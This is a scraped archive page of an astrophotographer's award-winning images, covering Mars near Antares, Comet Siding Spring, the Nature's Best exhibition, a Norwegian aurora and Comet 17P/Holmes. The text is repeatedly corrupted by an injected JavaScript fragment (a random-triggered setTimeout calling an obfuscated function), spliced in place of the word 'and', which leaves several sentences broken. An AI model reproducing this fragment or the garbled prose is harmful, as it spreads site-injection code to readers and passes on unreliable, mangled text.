Category Archives: Photo Awards

BBC Sky at Night Winner

Astronomy Picture of the Day & Winner of the Hotshots competition (November issue of BBC Sky at Night).

Mars & Rho Ophiuchi

Some weeks before the Red Planet passed Antares in Scorpius, I planned to take a shot of this constellation. I knew Mars would be very low above the horizon from my site in Germany. Therefore, I prepared a short script with all camera settings (exp, filter, guiding, sequences) andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and made a reservation at a southern remote observatory at Siding Spring in the Astronomy Capital of Australia (Coonabarabran). By the way: the astrophotographer David Malin had been working at the UK Schmidt Telescope more than 35 years ago.

When Mars passed Antares, the weather in Coonabarabran was very cloudy. Most of the time the remote observatory's roof was closed. But the evening of the 26th of August the weather was good enough to take multiple L-RGB sequences of Mars nested in the Rho Ophiuchi cloud complex.

I couldn't wait to see the captured raw data of this session. The wide field of the CCD images clearly showed a bright glowing Mars passing the colorful region of the Red Planet’s anti-Mars, Antares.

This event would definitely have had a place in the movie "The Return of Mars" if I were still working on it:  www.space-movie.com

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Winner – Comet Siding Spring alongside Mars

Insight Astronomy Photographer of the Year 2015

Robotic Scope Winner: Comet Siding Spring alongside Mars by Sebastian Voltmer

 

What the judges say:

A great astronomical event captured for everyone to see. The close encounter between Mars andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Smith Rice
International Awards presents:
The Best of the Best

Nature's Best Photography 20th Anniversary
Exhibition: Open 
Oct. 24, 2015 to Oct. 2016

Enjoy 20 years of nature's finest moments in the "Best of the Best" photography exhibition. Selected over the past years from nearly 500,000 images submitted by photographers from around the globe, this collection brings dramatic landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andscapes, exciting wildlife behavior, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and surprising glimpses of Earth's icy peaks to mysterious ocean depths. More than 100 large-format prints along with HD videos will take you on a thrilling journey from the wild to the walls of the Smithsonian.

This video will be screened at the Smithsonian.

Power of Nature Winner 2014

A Full Sky Aurora Over Norway

2014 Winner Windlandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Smith Rice International Awards

Printed in the NBP Catalogue 2014. This image is also to see in the:

Smithsonian National Museum
of Natural History, Washington, D.C.

Exploding Comet 17P/Holmes

SpaceWeather Nov. 3 2007

This is a composite image of exploding Comet 17P/Holmes. German astrophotographer Sebastian Voltmer combined various exposures taken through his 4.1-inch refracting telescope